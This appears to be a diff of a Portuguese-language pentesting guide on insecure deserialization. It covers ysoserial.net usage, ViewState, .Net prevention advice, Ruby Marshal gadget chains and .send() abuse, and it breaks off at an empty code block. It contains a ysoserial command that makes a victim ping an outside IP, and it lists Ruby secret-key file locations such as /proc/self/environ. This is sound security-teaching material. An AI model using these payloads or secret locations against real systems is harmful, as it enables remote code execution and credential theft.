+* **`--plugin`** ysoserial.net suporta plugins para criar **exploits para frameworks específicos** como ViewState
#### Mais parâmetros do ysoserial.net
@@ -651,7 +650,7 @@ As principais opções do **ysoserial.net** são: **`--gadget`**, **`--formatter
* `--raf -f Json.Net -c "anything"` Isso indicará todos os gadgets que podem ser usados com um formatador fornecido (`Json.Net` neste caso)
* `--sf xml` você pode **indicar um gadget** (`-g`) e o ysoserial.net procurará por formatadores contendo "xml" (maiúsculas e minúsculas)
-Exemplos do **ysoserial** para criar exploits:
+**Exemplos do ysoserial** para criar exploits:
```bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
@@ -694,46 +693,47 @@ TypeNameHandling = TypeNameHandling.Auto
return obj;
}
```
-O **código anterior é vulnerável ao exploit criado**. Portanto, se você encontrar algo semelhante em uma aplicação .Net, isso provavelmente significa que essa aplicação também é vulnerável.\
-Portanto, o parâmetro **`--test`** nos permite entender **quais trechos de código são vulneráveis** ao exploit de deserialização que o **ysoserial.net** pode criar.
+O código anterior é vulnerável ao exploit criado. Portanto, se você encontrar algo semelhante em uma aplicação .Net, isso provavelmente significa que essa aplicação também é vulnerável.
+
+Portanto, o parâmetro `--test` nos permite entender quais trechos de código são vulneráveis ao exploit de deserialização que o ysoserial.net pode criar.
### ViewState
-Dê uma olhada neste POST sobre **como tentar explorar o parâmetro \_\_ViewState do .Net** para **executar código arbitrário**. Se você **já conhece os segredos** usados pela máquina vítima, [**leia este post para saber como executar código**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
+Dê uma olhada neste POST sobre como tentar explorar o parâmetro \_\_ViewState do .Net para executar código arbitrário. Se você já conhece os segredos usados pela máquina vítima, leia este post para saber como executar código.
### Prevenção
Para mitigar os riscos associados à deserialização no .Net:
-* **Evite permitir que fluxos de dados definam seus tipos de objeto.** Utilize `DataContractSerializer` ou `XmlSerializer` sempre que possível.
-* **Para `JSON.Net`, defina `TypeNameHandling` como `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
-* **Evite usar `JavaScriptSerializer` com um `JavaScriptTypeResolver`.**
-* **Limite os tipos que podem ser desserializados**, entendendo os riscos inerentes aos tipos do .Net, como `System.IO.FileInfo`, que pode modificar as propriedades de arquivos do servidor, potencialmente levando a ataques de negação de serviço.
-* **Tenha cautela com tipos que possuem propriedades arriscadas**, como `System.ComponentModel.DataAnnotations.ValidationException` com sua propriedade `Value`, que pode ser explorada.
-* **Controle com segurança a instanciação de tipos** para evitar que os atacantes influenciem o processo de desserialização, tornando até mesmo o `DataContractSerializer` ou `XmlSerializer` vulneráveis.
-* **Implemente controles de lista branca** usando um `SerializationBinder` personalizado para `BinaryFormatter` e `JSON.Net`.
-* **Mantenha-se informado sobre gadgets de desserialização inseguros conhecidos** dentro do .Net e garanta que os desserializadores não instanciem esses tipos.
-* **Isolar o código potencialmente arriscado** do código com acesso à internet para evitar expor gadgets conhecidos, como `System.Windows.Data.ObjectDataProvider` em aplicações WPF, a fontes de dados não confiáveis.
+- Evite permitir que fluxos de dados definam seus tipos de objeto. Utilize `DataContractSerializer` ou `XmlSerializer` sempre que possível.
+- Para `JSON.Net`, defina `TypeNameHandling` como `None`: %%%TypeNameHandling = TypeNameHandling.None%%%
+- Evite usar `JavaScriptSerializer` com um `JavaScriptTypeResolver`.
+- Limite os tipos que podem ser desserializados, entendendo os riscos inerentes aos tipos do .Net, como `System.IO.FileInfo`, que pode modificar as propriedades de arquivos do servidor, potencialmente levando a ataques de negação de serviço.
+- Tenha cautela com tipos que possuem propriedades arriscadas, como `System.ComponentModel.DataAnnotations.ValidationException` com sua propriedade `Value`, que pode ser explorada.
+- Controle com segurança a instanciação de tipos para evitar que os atacantes influenciem o processo de desserialização, tornando até mesmo o `DataContractSerializer` ou `XmlSerializer` vulneráveis.
+- Implemente controles de lista branca usando um `SerializationBinder` personalizado para `BinaryFormatter` e `JSON.Net`.
+- Mantenha-se informado sobre gadgets de desserialização inseguros conhecidos no .Net e garanta que os desserializadores não instanciem esses tipos.
+- Isole o código potencialmente arriscado do código com acesso à internet para evitar expor gadgets conhecidos, como `System.Windows.Data.ObjectDataProvider` em aplicações WPF, a fontes de dados não confiáveis.
### **Referências**
-* Artigo sobre desserialização JSON em Java e .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** palestra: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
-* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
-* [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
-* [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
+- Artigo sobre desserialização JSON em Java e .Net: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf), palestra: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
+- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
+- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
+- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
## **Ruby**
Em Ruby, a serialização é facilitada por dois métodos dentro da biblioteca **marshal**. O primeiro método, conhecido como **dump**, é usado para transformar um objeto em um fluxo de bytes. Esse processo é chamado de serialização. Por outro lado, o segundo método, **load**, é empregado para reverter um fluxo de bytes de volta para um objeto, um processo conhecido como desserialização.
-Para garantir a segurança de objetos serializados, **Ruby utiliza HMAC (Código de Autenticação de Mensagem Baseado em Hash)**, garantindo a integridade e autenticidade dos dados. A chave utilizada para esse fim é armazenada em uma das várias localizações possíveis:
+Para garantir a segurança de objetos serializados, o Ruby emprega HMAC (Código de Autenticação de Mensagem Baseado em Hash), garantindo a integridade e autenticidade dos dados. A chave utilizada para esse fim é armazenada em uma das várias localizações possíveis:
-* `config/environment.rb`
-* `config/initializers/secret_token.rb`
-* `config/secrets.yml`
-* `/proc/self/environ`
+- `config/environment.rb`
+- `config/initializers/secret_token.rb`
+- `config/secrets.yml`
+- `/proc/self/environ`
-**Cadeia de gadgets de deserialização genérica para RCE do Ruby 2.X (mais informações em** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
+**Cadeia de gadgets de deserialização genérica para RCE no Ruby 2.X (mais informações em** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
```ruby
#!/usr/bin/env ruby
@@ -805,3 +805,52 @@ puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
```
Outra cadeia de RCE para explorar o Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
+
+### Método Ruby .send()
+
+Conforme explicado neste [**relatório de vulnerabilidade**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se alguma entrada de usuário não sanitizada alcançar o método `.send()` de um objeto ruby, este método permite **invocar qualquer outro método** do objeto com quaisquer parâmetros.
+
+Por exemplo, chamar eval e então código ruby como segundo parâmetro permitirá executar código arbitrário:
+
+{% code overflow="wrap" %}
+```ruby
+